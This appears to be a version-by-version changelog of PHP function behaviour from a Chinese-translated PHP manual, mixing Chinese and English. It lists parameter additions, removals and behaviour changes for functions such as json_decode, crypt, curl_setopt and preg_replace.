assert | assert is now a language construct and not a function. assertion can now be an expression. The second parameter is now interpreted either as an exception (if a Throwable object is given), or as the description supported from PHP 5.4.8 onwards.
curl_setopt | 禁用 CURLOPT_SAFE_UPLOAD 的选项已被删掉了。 所有的 curl 文件的上传都必须使用 CURLFile。
define | 允许 array 的值。
dl | PHP-FPM 模式下已禁用 dl。
getrusage | 此函数现在开始支持 Windows。
json_decode | Rejected RFC 7159 incompatible number formats - top level (07, 0xff, .1, -.1) and all levels ([1.], [1.e1])
json_decode | An empty PHP string or value that after casting to string is an empty string (NULL, FALSE) results in JSON syntax error.
key | array 现在总是会传值。 在此之前，它会尽可能传引用，否则就传值。
list | 字符串无法再被拆包（unpack）。
list | list 表达式不再可以完全为空。
list | 赋值操作的顺序发生了变化。
mktime | is_dst参数已经被移除。
openssl_open | 添加了 iv 参数
openssl_seal | 添加 iv 变量。
preg_replace | 不再支持 /e修饰符。 请用 preg_replace_callback 代替。
session_regenerate_id | session_regenerate_id 函数在关闭过期会话之前保存其中的数据。
session_set_save_handler | 新增可选参数 validate_sid 和 update_timestamp。
session_start | 新加 options 参数。
shmop_close | The type of shmid has been changed from int to resource.
shmop_delete | The type of shmid has been changed from int to resource.
shmop_open | The return type of shmop_open has been changed from int to resource.
shmop_read | The type of shmid has been changed from int to resource.
shmop_size | The type of shmid has been changed from int to resource.
shmop_write | The type of shmid has been changed from int to resource.
substr | 如果 string 的字符串长度与 start 相同时将返回一个空字符串。在之前的版本中，这种情况将返回 FALSE 。
IntlDateFormatter::setTimeZoneId | This function has been removed.
5.6.6 | json_encode | options 参数增加常量： JSON_PRESERVE_ZERO_FRACTION
5.6.5 | crypt | When the failure string "*0" is given as the salt, "*1" will now be returned for consistency with other crypt implementations. Prior to this version, PHP 5.6 would incorrectly return a DES hash.
5.6.3 | pack | 添加了“q”、“q”、“J”和“P”代码以支持处理64位数字。
5.6.1 | sem_acquire | The $nowait parameter was added.
5.6.0 | array_fill | num 现在可以是零。 之前 num 必须大于零。
array_filter | 添加可选的参数 flag，以及常量 ARRAY_FILTER_USE_KEY 和 ARRAY_FILTER_USE_BOTH。
crypt | Raise E_NOTICE security warning if salt is omitted.
curl_setopt | 默认 CURLOPT_SAFE_UPLOAD为 TRUE 。
curl_setopt | 移出 CURLOPT_CLOSEPOLICY和相关的值。
hash_algos | 加入对 gost-crypto 算法的支持。 参照 RFC 4357，11.2 小节 定义的 CryptoPro S-box 表格实现 GOST 哈希函数。
html_entity_decode | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
htmlentities | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
htmlspecialchars | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
json_decode | Invalid non-lowercased variants of the true, false and null literals are no longer accepted as valid input, and will generate warnings.
mb_regex_encoding | Default encoding is changed to UTF-8. It was EUC-JP Previously.
mcrypt_create_iv | source 参数的默认值是 MCRYPT_DEV_URANDOM。
mcrypt_decrypt | 不再接受无效长度的 key and iv 参数。 如果参数长度无效，则 mcrypt_decrypt 函数会产生警告并且返回 FALSE。 之前版本中，对于长度不足的密钥和初始向量会在其后补齐 '\0' 使其达到有效长度。
mcrypt_encrypt | 不再接受无效长度的 key and iv 参数。 如果参数长度无效，则 mcrypt_decrypt 函数会产生警告并且返回 FALSE。 之前版本中，对于长度不足的密钥和初始向量会在其后补齐 '\0' 使其达到有效长度。
pg_lo_truncate | Added truncate function. It supports PostgreSQL 9.3's 64bit large object. Both client and server must support PostgreSQL 9.3 and PHP must be 64bit build to use 64bit large object.
stream_socket_enable_crypto | The crypto_type is now optional.
stream_socket_enable_crypto | Introduce STREAM_CRYPTO_METHOD_ANY_CLIENT, STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT, STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT, STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT, STREAM_CRYPTO_METHOD_ANY_SERVER, STREAM_CRYPTO_METHOD_TLSv1_0_SERVER, STREAM_CRYPTO_METHOD_TLSv1_1_SERVER, STREAM_CRYPTO_METHOD_TLSv1_2_SERVER.
ReflectionClass::newInstanceWithoutConstructor | All internal classes can now be instantiated except for those declared final.
XMLReader::getAttributeNo | XMLReader::getAttributeNo now returns NULL if the attribute doesn't exist.
XMLReader::getAttributeNs | XMLReader::getAttributeNS now returns NULL if the attribute doesn't exist.
5.5.38, 5.6.24, 7.0.9 | getenv | 添加 local_only 参数。
5.5.21 | crypt | When the failure string "*0" is given as the salt, "*1" will now be returned for consistency with other crypt implementations. Prior to this version, PHP 5.5 (and earlier branches) would incorrectly return a DES hash.
5.5.19/5.6.3 | imagescale | The calculation of the height if new_height was negative or omitted was fixed; prior to these versions, the aspect ratio was not maintained correctly.
5.5.11 | substr_compare | length 可以是 0。
5.5.8 | DatePeriod::__construct | end type changed to DateTimeInterface. Previously, DateTime.
5.5.7 | apache_request_headers | 此函数可用于 CLI server。
apache_response_headers | 此函数可用于 CLI server.
getallheaders | 此函数可用于 CLI server。
5.5.2 | DOMDocument::schemaValidate | Added the flags parameter
DOMDocument::schemaValidateSource | Added the flags parameter
5.5.1 | hex2bin | 如果输入的字符串是无效的十六进制字符串则抛出一个警告，
session_set_save_handler | 新增可选参数 create_sid。
5.5.0/PECL 3.0.0 | IntlDateFormatter::create | An IntlCalendar object is allowed for calendar. Objects of type IntlTimeZone and DateTimeZone are allowed for timezone. Invalid timezone identifiers (including empty strings) are no longer allowed for timezone. If NULL is given for timezone, the timezone identifier given by date_default_timezone_get will be used instead of ICU?s default.
IntlDateFormatter::format | Support for providing IntlCalendar objects to the value parameter was added.
IntlDateFormatter::setCalendar | It became possible to pass an IntlCalendar object.
5.5.0 | DatePeriod::__construct | start type changed to DateTimeInterface. Previously, DateTime.
curl_setopt | 添加 cURL 资源作为 CURLOPT_PROGRESSFUNCTION 回调函数的第一个参数。
curl_setopt | 引入 CURLOPT_SHARE。
empty | empty 现在支持表达式了，而不仅仅是变量。
ip2long | Prior to this version, on Windows ip2long would sometimes return a valid number even if passed a value which was not an (IPv4) Internet Protocol dotted address.
json_encode | 失败时返回的值从 null 字符串改成 FALSE。
json_encode | 增加了 JSON_PARTIAL_OUTPUT_ON_ERROR 选项。
json_encode | 增加 depth 参数。
pack | “Z”代码添加了与“a”等效的功能，以实现Perl兼容性。
php_logo_guid | php_logo_guid 从 PHP 中移除。
preg_replace | /e 修饰符已经被弃用了。使用 preg_replace_callback 代替。参见文档中 PREG_REPLACE_EVAL 关于安全风险的更多信息。
setcookie | 发送给客户端的 Set-Cookie 头现在会包含 Max-Age 属性。
setrawcookie | 发送给客户端的 Set-Cookie 头现在会加上 Max-Age 属性。
unpack | Changes were made to bring this function into line with Perl: The "a" code now retains trailing NULL bytes. The "A" code now strips all trailing ASCII whitespace (spaces, tabs, newlines, carriage returns, and NULL bytes). The "Z" code was added for NULL-padded strings, and removes trailing NULL bytes.
zend_logo_guid | zend_logo_guid 从 PHP 中移除了。
IntlDateFormatter::setTimeZoneId | This function has been deprecated.
SoapClient::SoapClient | New ssl_method option.
5.4.43, 5.5.27, 5.6.11 | escapeshellcmd | 感叹号会被空格所替换。
5.4.32, 5.5.16 | ucwords | 增加了 delimiters 参数。
5.4.8 | assert | 增加了参数 description。 description 现在也作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数。
mb_strcut | Passing NULL as length extracts all bytes to the end of the string. Prior to this version NULL was treated the same as 0.
mb_substr | length 传入 NULL，则从 start 提取到字符串的结尾处。 在之前的版本里， NULL 会被当作 0 来处理。
5.4.7 | parse_url | 修复了 host 在 协议 省略时的识别。
5.4.4 | hex2bin | 如果输入的字符串有多余将抛出异常。 PHP 5.4.0 起字符串将被静默地接受，但是最后的字节会被截断。
5.4.0/PECL 2.0.0b1 | idn_to_ascii | Added the parameters variant and idna_info; UTS #46 support (requires ICU ≥ 4.6).
idn_to_utf8 | Added the parameters variant and idna_info; UTS #46 support (requires ICU ≥ 4.6).
5.4.0 | DOMDocument::loadHTML | Added options parameter.
DOMDocument::loadHTMLFile | Added options parameter.
apache_child_terminate | 该函数目前也可以用于FastCGI模式了。以前，它仅在PHP作为Apapche的模块安装时支持。
apache_request_headers | 此函数可用于 FastCGI。 此前仅在PHP以 Apache 模块方式运行时支持。
apache_response_headers | 此函数可用于 FastCGI。 此前仅在PHP以 Apache 模块方式运行时支持。
array_combine | （修复）早期版本中如果是空数组就报E_WARNING的错并且返回FALSE。
array_multisort | array1_sort_flags 增加 SORT_NATURAL 和 SORT_FLAG_CASE 选项。
date_default_timezone_get | 不再根据操作系统的信息来推测时区，因为这是不可靠的。
date_default_timezone_get | 不再使用 TZ 来推测时区。
define_syslog_variables | This function was removed from PHP.
dns_get_record | 增加了参数raw。
empty | 检查非数字的字符串偏移量会返回 TRUE.
filter_input_array | 添加 add_empty 参数.
filter_var_array | 添加 add_empty 参数。
get_html_translation_table | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
get_html_translation_table | The default value for the encoding parameter was changed to UTF-8.
get_magic_quotes_gpc | 始终返回 FALSE，因为这个魔术引号功能已经从 PHP 中移除了。
get_magic_quotes_runtime | 总是返回 FALSE，因为魔术引号（magic quotes）功能已经从 PHP 中移除。
getallheaders | 此函数可用于 FastCGI。 此前仅在PHP以 Apache 模块方式运行时支持。
gzcompress | Added encoding parameter.
gzdeflate | Added encoding parameter.
gzencode | FORCE_DEFLATE now generates RFC 1950 compliant output.
hash | tiger 算法使用大端（big-endian）字节序。参见下面的示例。
hash_algos | 加入对于 joaat，fnv132 和 fnv164 算法的支持。移除 Salsa10 和 Salsa20 算法。
html_entity_decode | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
html_entity_decode | Default encoding changed from ISO-8859-1 to UTF-8.
htmlentities | 增加常量 ENT_SUBSTITUTE、 ENT_DISALLOWED、 ENT_HTML401、 ENT_XML1、 ENT_XHTML、 ENT_HTML5。
htmlentities | encoding 参数的默认值改成 UTF-8。
htmlspecialchars | 增加常量 ENT_SUBSTITUTE、 ENT_DISALLOWED、 ENT_HTML401、 ENT_XML1、 ENT_XHTML、 ENT_HTML5。
htmlspecialchars | encoding 参数的默认值改成 UTF-8。
htmlspecialchars_decode | 增加了 ENT_HTML401、ENT_XML1、 ENT_XHTML 和 ENT_HTML5 等常量。
http_build_query | 加入了 enc_type 参数。
iconv | 这个版本起，字符非法时候会返回 FALSE，除非在输出字符里指定了 //IGNORE 。 在之前版本，它会返回一部分字符串。
imagewebp | 支持把 resource 流作为 to 参数传入。
isset | 检查字符的非数字偏移量将会返回 FALSE。
json_decode | The options parameter was added.
json_encode | options 参数增加常量： JSON_PRETTY_PRINT, JSON_UNESCAPED_SLASHES, 和 JSON_UNESCAPED_UNICODE。
mb_encode_numericentity | Added is_hex parameter.
number_format | This function now supports multiple bytes in dec_point and thousands_sep. Only the first byte of each separator was used in older versions.
openssl_decrypt | 将 raw_output 更改至 options。
openssl_encrypt | raw_output 改到 options。
preg_match_all | 参数matches成为可选的。
scandir | sorting_order now accepts constants. Any nonzero value caused descending order in previous versions.
session_set_save_handler | 新增用来实现自定义会话处理器的接口 SessionHandlerInterface； 新增 PHP 内部会话处理器类：SessionHandler。
snmp_set_valueretrieval | Constants SNMP_VALUE_PLAIN or SNMP_VALUE_LIBRARY may be combined with SNMP_VALUE_OBJECT resulting different way of representing contents of value array element in return value of GET-function. If no SNMP_VALUE_{PLAIN,LIBRARY} constant is accompanying SNMP_VALUE_OBJECT, SNMP_VALUE_LIBRARY is used. Prior to 5.4.0 SNMP_VALUE_OBJECT effecively meant SNMP_VALUE_OBJECT|SNMP_VALUE_PLAIN.
sort | 添加了 sort_flags 内 SORT_NATURAL 和 SORT_FLAG_CASE 的支持。
Phar::setStub | Added len parameter.
PharData::setStub | Added len parameter.
SimpleXMLElement::getDocNamespaces | Added from_root parameter.
SoapClient::SoapClient | New keep_alive option.
5.4 | grapheme_substr | If length is given and positive and the argument string is shorter than the specified length, all the rest of the string according to start parameter is returned. Previously, FALSE was returned.
5.3.9 | DateTime::createFromFormat | 新增 format 格式字符串中对于 + 格式字符的支持。
dl | 尽管不推荐，但 PHP-FPM 模式下启用了 dl。
is_a | Added allow_string parameter
is_subclass_of | Added allow_string parameter
5.3.7 | crypt | Added $2x$ and $2y$ Blowfish modes to deal with potential high-bit attacks.
5.3.6 | DateTime::modify | 支持绝对的日期时间作为变化量， 在之前的版本中，仅支持相对变化量。
DOMDocument::saveHTML | The node parameter was added.
array_product | 空数组现在会产生 1，而之前此函数处理空数组会产生 0。
preg_match | 如果 offset 比 subject 的长度还要大则返回 FALSE。
preg_match_all | 如果 offset 大于 subject 的程度，将返回 FALSE。
PDO_MYSQL DSN | Prior to version 5.3.6, charset was ignored.
5.3.4 | get_html_translation_table | The encoding parameter was added.
rawurlencode | 因为 rawurlencode 使用了 EBCDIC，所以波浪线字符不会再被编码。
sleep | 在PHP 5.3.4之前，Windows平台下无论 sleep 是否成功调用，总是会返回一个 NULL。
strip_tags | strip_tags ignores self-closing XHTML tags in allowable_tags.
IntlDateFormatter::format | Support for providing DateTime objects to the value parameter was added.
5.3.3 | DOMXPath::evaluate | The registerNodeNS parameter was added.
DOMXPath::query | The registerNodeNS parameter was added.
json_encode | options 参数增加常量：JSON_NUMERIC_CHECK。
ldap_sasl_bind | Support on Windows was added.
openssl_decrypt | 添加 iv 参数。
openssl_encrypt | 增加 iv 参数。
parse_url | 在 URL 解析失败时将不会产生 E_WARNING 级别的错误。
5.3.2 | crypt | 基于 Ulrich Drepper 的实现，新增基于 SHA-256 算法和 SHA-512 算法的 crypt。
crypt | 修正了 Blowfish 算法由于非法循环导致的问题，返回“失败”字符串（“*0” 或 “*1”）而不是转而使用 DES 算法。
flock | 在文件资源句柄关闭时不再自动解锁。现在要解锁必须手动进行。
gmp_init | The base was extended from 2 to 36, to 2 to 62 and -2 to -36.
gmp_strval | The base was extended from 2 to 36, to 2 to 62 and -2 to -36.
5.3.1 | get_defined_constants | 仅作用于 Windows：内核常量归类到 Core，之前是 mhash。
ibase_query | On success the function now returns TRUE if there were no affected rows, where it previously returned 0 (a zero followed by an empty space).
rename | 可以在 Windows 上跨驱动器 rename 文件。
5.3.0 起 | get_class | object 默认参数现在是 NULL ，所以，现在传入 NULL 到 object 参数时，和没传参数的结果一样。
5.3.0 | DateTime::__construct | 如果 time 参数不是一个有效的 日期/时间格式， 会抛出异常。 在之前的版本中是会发出一个错误。
DateTime::modify | 将返回值从NULL改为 DateTime 类型。
DateTime::setDate | 将返回值从NULL改为 DateTime 类型。
DateTime::setISODate | 将返回值从NULL改为 DateTime 类型。
DateTime::setTime | 将返回值从NULL改为 DateTime 类型。
DateTime::setTimezone | 将返回值从NULL改为 DateTime 类型。
DateTimeZone::getTransitions | The optional timestamp_begin and timestamp_end were added.
DateTimeZone::listIdentifiers | 添加可选的 what 和 country 参数。
acosh | This function is now available on all platforms
array_multisort | array1_sort_flags 增加选项 SORT_LOCALE_STRING。
array_reduce | 修改 initial 类型，允许传入 mixed，之前只能是 integer。
array_search | As with all internal PHP functions as of 5.3.0, array_search returns NULL if invalid parameters are passed to it.
asinh | 此函数在所有平台上均可用
atanh | 此函数在所有平台上都可以用了
call_user_func | 对面向对象里面的关键字的解析有所增强。在此之前，使用两个冒号来连接一个类和里面的一个方法，把它作为参数来作为回调函数的话，将会发出一个E_STRICT的警告，因为这个传入的参数被视为静态方法。
call_user_func_array | 对面向对象里面的关键字的解析有所增强。在此之前，使用两个冒号来连接一个类和里面的一个方法，把它作为参数来作为回调函数的话，将会发出一个E_STRICT的警告，因为这个传入的参数被视为静态方法。
checkdnsrr | 这个函数在Windows平台上也可以使用了。
clearstatcache | 增加了可选的 clear_realpath_cache 和 filename 参数.
copy | 增加了对 context 的支持。
crypt | PHP 现在包含了它自己的 MD5 Crypt 实现，包括标准 DES 算法，扩展的 DES 算法以及 Blowfish 算法。如果系统缺乏相应的实现，那么 PHP 将使用它自己的实现。
curl_setopt | 引入 CURLOPT_PROGRESSFUNCTION。
date_default_timezone_set | 现在会抛出 E_WARNING 而不是 E_STRICT。
define_syslog_variables | This function now throws an E_DEPRECATED notice.
dl | 由于稳定性，dl 在某些 SAPI 中被禁用。仅仅允许 dl 的 SAPI 为 CLI 和 Embed。 使用 扩展加载指令 作为替代。
dns_get_record | 在此版本之前，如果给参数authns传入值，则必须同时传入addtl的值。
dns_get_record | 可以是在windows平台上使用这个函数了。
expm1 | 此函数在所有平台上均可用
fgetcsv | 增加了 escape 参数。
fnmatch | 此函数开始在 Windows 平台上生效。
func_get_arg | If this function is called from the outermost scope of a file which has been included by calling include or require from within a function in the calling file, it now generates a warning and returns FALSE. （不知道如何翻译跟好，直接参考例2即可明白）
func_get_arg | 该函数可以在参数列表中使用。
func_get_args | If this function is called from the outermost scope of a file which has been included by calling include or require from within a function in the calling file, it now generates a warning and returns FALSE. （不知道如何翻译跟好，直接参考例2即可明白）
func_get_args | 该函数可以在参数列表中使用。
func_num_args | This function can now be used in parameter lists.
func_num_args | If this function is called from the outermost scope of a file which has been included by calling include or require from within a function in the calling file, it now generates a warning and returns -1.
get_cfg_var | get_cfg_var 被修复，能够返回 "array" 的 ini 选项。
get_defined_constants | 内核常量归类为 Core，之前是 internal。在 Windows 上，内核常量归类到 mhash。
get_object_vars | This function now returns NULL if the object isn't an object.
getimagesize | Added icon support.
getmxrr | Windows 平台上也能用这个函数了。
getopt | 此函数不再依赖于操作系统，现在也能够在 Windows 上运行。
getopt | 参数 longopts 在所有系统平台上均可用。
getopt | 增加了可选值的支持（用"::"指定）。
getopt | 支持 "=" 作为 参数和值的分隔符。
hash_algos | 加入对 md2，ripemd256，ripemd320，salsa10，salsa20，snefru256 和 sha224 哈希算法的支持。
htmlentities | 增加常量 ENT_IGNORE。
htmlspecialchars | 增加常量 ENT_IGNORE。
imagecolorclosesthwb | 在 Windows 平台上可用
imagefilter | Pixelation support (IMG_FILTER_PIXELATE) was added.
inet_ntop | This function is now available on Windows platforms.
inet_pton | This function is now available on Windows platforms.
ini_get | 当配置项不存在，之前会返回空字符串，现在会返回 FALSE。
ini_get_all | 增加参数 details。
is_a | This function is no longer deprecated, and will therefore no longer throw E_STRICT warnings.
json_decode | Added the optional depth. The default recursion depth was increased from 128 to 512
json_encode | 增加 options 参数.
link | 该功能在 Windows 平台下开始有效（Vista、 Server 2008 或更高版本）。
linkinfo | Windows 平台上开始可用（Vista、Server 2008 或更高版本）。
log1p | 此函数在所有平台上均可用
mb_get_info | 条目 "http_output_conv_mimetypes" 开始有效。
mcrypt_create_iv | 不再需要提前调用 srand 函数， 由本函数自动完成调用。
mcrypt_create_iv | MCRYPT_DEV_RANDOM 和 MCRYPT_DEV_URANDOM 在 Windows 平台也可用了。
mktime | mktime now throws E_DEPRECATED notice if the is_dst parameter is used.
nl2br | 新增可选的 is_xhtml 参数。在此之前，总是插入 '<br />'。
openssl_open | 添加了 method 参数
openssl_seal | 添加 method 变量。
parse_ini_file | Added optional scanner_mode parameter. Single quotes may now be used around variable assignments. Hash marks (#) may no longer be used as comments and will throw a deprecation warning if used.
pg_lo_import | The optional object_id was added.
preg_quote | 字符 - 被增加为需要转义的。
property_exists | This function checks the existence of a property independent of accessibility.
rawurlencode | 现在符合了RFC 3986。
readlink | 此函数在 Windows 平台下可用（Vista、Server 2008 或更高版本）。
realpath | 在之前的版本中，在 *BSD 系统上，如果仅仅是 path 不存在的话，realpath 并不会像其它系统那样返回 FALSE。
register_tick_function | Ticks are now supported on threaded web server modules.
round | 引入了 mode 参数
session_start | 如果函数调用失败返回 FALSE， 之前版本返回了 TRUE。
setlocale | This function now throws an E_DEPRECATED notice if a string is passed to the category parameter instead of one of the LC_* constants.
shm_attach | This function now returns a 资源(resource) instead of an integer.
socket_create_pair | This function is now available on Windows platforms.
stream_context_create | 增加了可选参数 params 。
stream_socket_pair | 这个函数在windows平台不可用
stristr | 新增可选的 before_needle 参数。
strlen | Prior versions treated arrays as the string Array, thus returning a string length of 5 and emitting an E_NOTICE level error.
strstr | 新增可选的 before_needle 参数。
strtotime | 在 PHP 5.3.0 之前， 24:00 不是一个有效的格式，并且 strtotime 会返回 FALSE。
strtotime | Prior to PHP 5.3.0, relative time formats supplied to the time argument of strtotime such as this week, previous week, last week, and next week were interpreted to mean a 7 day period relative to the current date/time, rather than a week period of Monday through Sunday.
sybase_connect | The new parameter was added.
symlink | 此函数在 Windows 平台上可用（Vista、Server 2008 或更高版本）。
time_nanosleep | 至此之后该函数在Windows平台下可用。
time_sleep_until | 自此，函数在Windows平台可用。
touch | 能够修改 Windows 下目录的最后修改时间。
ReflectionFunction::__construct | name can now be a closure.
XMLReader::expand | The parameter basenode was added.
5.2.11 | get_defined_constants | categorize 参数现在可以合适得被处理。 在此之前，categorize 被解释为 !is_null($categorize)，导致任何非 NULL 的值会强制常量分类。
5.2.10 | array_rand | The resulting array of keys is no longer shuffled.
array_unique | 修改回 sort_flags 的默认值为 SORT_STRING。
curl_setopt | 引入 CURLOPT_PROTOCOLS, and CURLOPT_REDIR_PROTOCOLS.
ip2long | 再此之前的版本, ip2long 有时会返回即使这不是一个IPV4的标准地址的数字地址。
natsort | 用零填充的数字字符串 (例如 '00005')现在本质上会忽略掉填充的前道零。
5.2.9 | array_unique | 增加可选选项sort_flags，默认值 SORT_REGULAR。 5.2.9 之前，此函数内部使用 SORT_STRING 排序。
5.2.8 | XSLTProcessor::importStylesheet | Accepts SimpleXMLElement again which was broken since PHP 5.2.6.
5.2.7 | parse_ini_file | On syntax error this function will return FALSE rather than an empty array.
round | round 的内部运作修改符合 C99 的标准。
strtotime | In PHP 5 prior to 5.2.7, requesting a given occurrence of a given weekday in a month where that weekday was the first day of the month would incorrectly add one week to the returned timestamp. This has been corrected in 5.2.7 and later versions.
5.2.6 | fopen | 增加了选项 'c' 和 'c+'
5.2.5 | addcslashes | The escape sequences \v and \f were added.
imagefilter | Alpha support for IMG_FILTER_COLORIZE was added.
5.2.4 | array_slice | length 参数默认值改成 NULL。 现在 length 为 NULL 时，意思是说使用 array 的长度。 之前的版本里， NULL 的 length 的意思是长度为零（啥也不返回）。
checkdnsrr | 增加了TXT的记录类型。
curl_setopt | 引入了 CURLOPT_PRIVATE。
get_loaded_extensions | 添加了可选的 zend_extensions 参数。
ldap_first_attribute | The ber_identifier was removed. This is now handled automatically by PHP.
ldap_next_attribute | The ber_identifier was removed. This is now handled automatically by PHP.
parse_ini_file | 由数字组成的键名和小节名会被 PHP 当作整数来处理，因此以 0 开头的数字会被当作八进制而以 0x 开头的会被当作十六进制。
stream_wrapper_register | 添加 flags 参数.
5.2.3 | getimagesize | Read errors generated by this function downgraded to E_NOTICE from E_WARNING.
htmlentities | 增加参数 double_encode。
htmlspecialchars | 增加参数 double_encode。
json_decode | The nesting limit was increased from 20 to 128
XMLWriter::writeElement | The content parameter became optional.
XMLWriter::writeElementNs | The content parameter became optional.
PDOStatement::getColumnMeta | table 字段
5.2.2 - 5.2.6 | substr | If the start parameter indicates the position of a negative truncation or beyond, false is returned. Other versions get the string from start.
5.2.2 | DOMDocument::registerNodeClass | Prior to 5.2.2, a previously registered extendedclass had to be unregistered before being able to register a new class extending the same baseclass.
date_sun_info | The order of latitude and longitude has been swapped.
ftp_ssl_connect | 以前版本中，如果无法使用 SSL 连接，将会返回一个非 SSL 的连接， 在 5.2.2 版本中修改为返回 FALSE
phpinfo | 增加了“已加载的配置文件”信息，之前只存在“配置文件路径(php.ini)"。
preg_match | 命名子组可以接受(?<name>)， (?'name') 以及(?P<name>)语法。之前版本仅接受(?P<name>)语法。
preg_match_all | 子命名分组语法可以接受(?<name>)，(?'name')以及 (?P<name>)了。 之前版本仅接受(?P<name>)方式。
proc_terminate | 之前的版本被用来销毁进程 resource。
token_get_all | Line numbers are returned in element 2
5.2.1 | json_decode | Added support for JSON decoding of basic types.
memory_get_peak_usage | 使用此函数无需在编译时加上 --enable-memory-limit 选项。
memory_get_usage | 不需要在编译时使用 --enable-memory-limit 选项就能够使用这个函数。
mt_srand | The Mersenne Twister implementation in PHP now uses a new seeding algorithm by Richard Wagner. Identical seeds no longer produce the same sequence of values they did in previous versions. This behavior is not expected to change again, but it is considered unsafe to rely upon it nonetheless.
proc_open | 为 other_options 参数增加 bypass_shell 选项。
5.2.0 | base64_decode | 增加了 strict 。
curl_multi_info_read | msgs_in_queue被加入。
imagettftext | It is now possible to specify an hexadecimal entity in text.
mb_strrpos | 增加了可选参数 offset。
memory_get_peak_usage | 添加参数 real_usage。
memory_get_usage | 增加了参数 real_usage。
openssl_verify | 添加了 signature_alg 参数。
pathinfo | 添加了常量 PATHINFO_FILENAME。
session_get_cookie_params | 在返回数组中加入 “httponly”。
session_set_cookie_params | 加入 httponly 参数。
setcookie | 添加 httponly 参数。
setrawcookie | 增加了 httponly 参数。
snmp_set_oid_numeric_print | Since PHP 5.2.0.
PDOStatement::execute | input_parameters 中的键名必须和 SQL 中声明的相匹配。PHP 5.2.0 之前默认忽略。
SimpleXMLElement::children | The optional parameter is_prefix was added.
SimpleXMLElement::__construct | Added the ns and is_prefix parameters.
SoapServer::SoapServer | Added the typemap option.
XMLReader::open | encoding and options were added.
XMLReader::XML | encoding and options were added.
5.1.3 | curl_getinfo | 引入CURLINFO_HEADER_OUT.
get_headers | 自 PHP 5.1.3 起本函数使用默认的流上下文，其可以用 stream_context_get_default 函数设定和修改。
http_build_query | 方括号也会被转义。
mb_get_info | 实体 "mail_charset"、"mail_header_encoding" 和 "mail_body_encoding" 开始有效。
SoapClient::__doRequest | The one_way parameter was added.
XMLReader::getAttribute | Return NULL if no attribute found. Previously, returned an empty string.
5.1.2 | date_default_timezone_set | 本版本开始验证 timezone_identifier 参数。
header | 这个函数现在可以一次性阻止多个报文信息的发送，从而作为对报文信息注入攻击的一种防护。
http_build_query | 加入了参数 arg_separator。
parse_url | 增加了参数 component。
SimpleXMLElement::__construct | Added the options and data_is_url parameters.
5.1.1 | date | format 参数标准的可用日期/时间格式常量见： 常量
5.1.0 | DOMDocument::save | Added the options parameter
DOMDocument::saveXML | Added the options parameter
ctype_digit | 在 PHP 5.1.0 之前，当 text 是一个空字符串的时候，该函数将返回 TRUE 。
curl_setopt | 引入 CURLOPT_AUTOREFERER, CURLOPT_BINARYTRANSFER, CURLOPT_FTPSSLAUTH, CURLOPT_PROXYAUTH, and CURLOPT_TIMECONDITION.
date | 时间戳的有效取值范围为 GMT 时间的 1901 年 12 月 13 日至 GMT 时间的 2038 年 1 月 19 日。 （32 位有符号整数的取值范围）。 但是，在 PHP 5.1.0 之前的版本，在某些系统（例如 Windows）上有效取值范围为 1970 年 1 月 1 日至 2038 年 1 月 19 日。
date | 现在发布 E_STRICT 和 E_NOTICE 时区错误。
date_sunrise | 现在发布 E_STRICT 和 E_NOTICE 时区错误。
date_sunset | 现在发布 E_STRICT 和 E_NOTICE 时区错误。
explode | 支持负数的 limit
file_get_contents | Added the offset and maxlen parameters.
file_put_contents | 添加了对 LOCK_EX 的支持和 data 参数处理 stream 资源的功能。
gettimeofday | 增加了参数 return_float。
glob | GLOB_ERR was added
imagerotate | 新增： ignore_transparent 。
intval | 当传入的 var 是 object，将会抛出 E_NOTICE 并返回 1。
localtime | 现在发布 E_STRICT 和 E_NOTICE 时区错误。
md5_file | 函数改用流 API。这意味着能够配合封装器使用该函数，比如 md5_file('http://example.com/..')。
mktime | is_dst 参数被废弃。出错时函数返回 FALSE 而不再是 -1。修正了本函数可以接受年月日参数全为零。
mktime | 现在发布 E_STRICT 和 E_NOTICE 时区错误。
mktime | When called with no arguments, mktime throws E_STRICT notice. Use the time function instead.
mssql_connect | new_link参数加入
openssl_pkcs7_verify | 添加 content 参数。
preg_replace | 增加参数count.
preg_replace_callback | 增加了参数count。
session_regenerate_id | 新加 delete_old_session 参数。
sha1_file | 改变函数以使用流 API。这意味着可以使用包装器，比如 sha1_file('http://example.com/..')。
str_word_count | 新增 charlist 参数。
stream_copy_to_stream | Added the offset parameter
stream_filter_append | Prior to PHP 5.1.0, this function returns TRUE on success 或者在失败时返回 FALSE.
stream_filter_prepend | Prior to PHP 5.1.0, this function returns TRUE on success 或者在失败时返回 FALSE.
stream_get_contents | 增加参数 offset 。
strftime | 现在发布 E_STRICT 和 E_NOTICE 时区错误。
strtotime | 现在发布 E_STRICT 和 E_NOTICE 时区错误。
strtotime | 失败时返回 FALSE，不再是 -1。
substr_compare | 允许使用负数的 offset 参数。
substr_count | 新增 offset 和 length 参数。
XSLTProcessor::registerPHPFunctions | The restrict parameter was added.
5.0.5 | php_check_syntax | 函数从PHP中移除。
5.0.4 | msql_fetch_array | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.
msql_fetch_object | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.
msql_fetch_row | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.
5.0.3 | get_class_vars | get_class_vars will only return the properties that can be accessed from the current scope.
is_subclass_of | You may also specify the object parameter as a string (the name of the class)
php_check_syntax | php_check_syntax之后调用 exit 会导致一个段错误。
5.0.2 | array_slice | 增加了可选参数 preserve_keys 。
class_exists | 不再为已定义的 interface 返回 TRUE。请使用 interface_exists。
get_class_vars | Calling get_class_vars will now expose all the properties as an array, unlike previous behaviour where protected and private properties were prefixed with nul bytes.
sort | 添加了 SORT_LOCALE_STRING。
strtotime | 在 PHP 5 中到 5.0.2 之前，"now" 和其它相对时间从今天午夜起错误计算了。这和正确从当前时间起计算的其它版本不同。
5.0.1 | get_class_vars | Calling get_class_vars will expose all properties, as when converting an object to a class.
php_check_syntax | error_message 通过引用传递
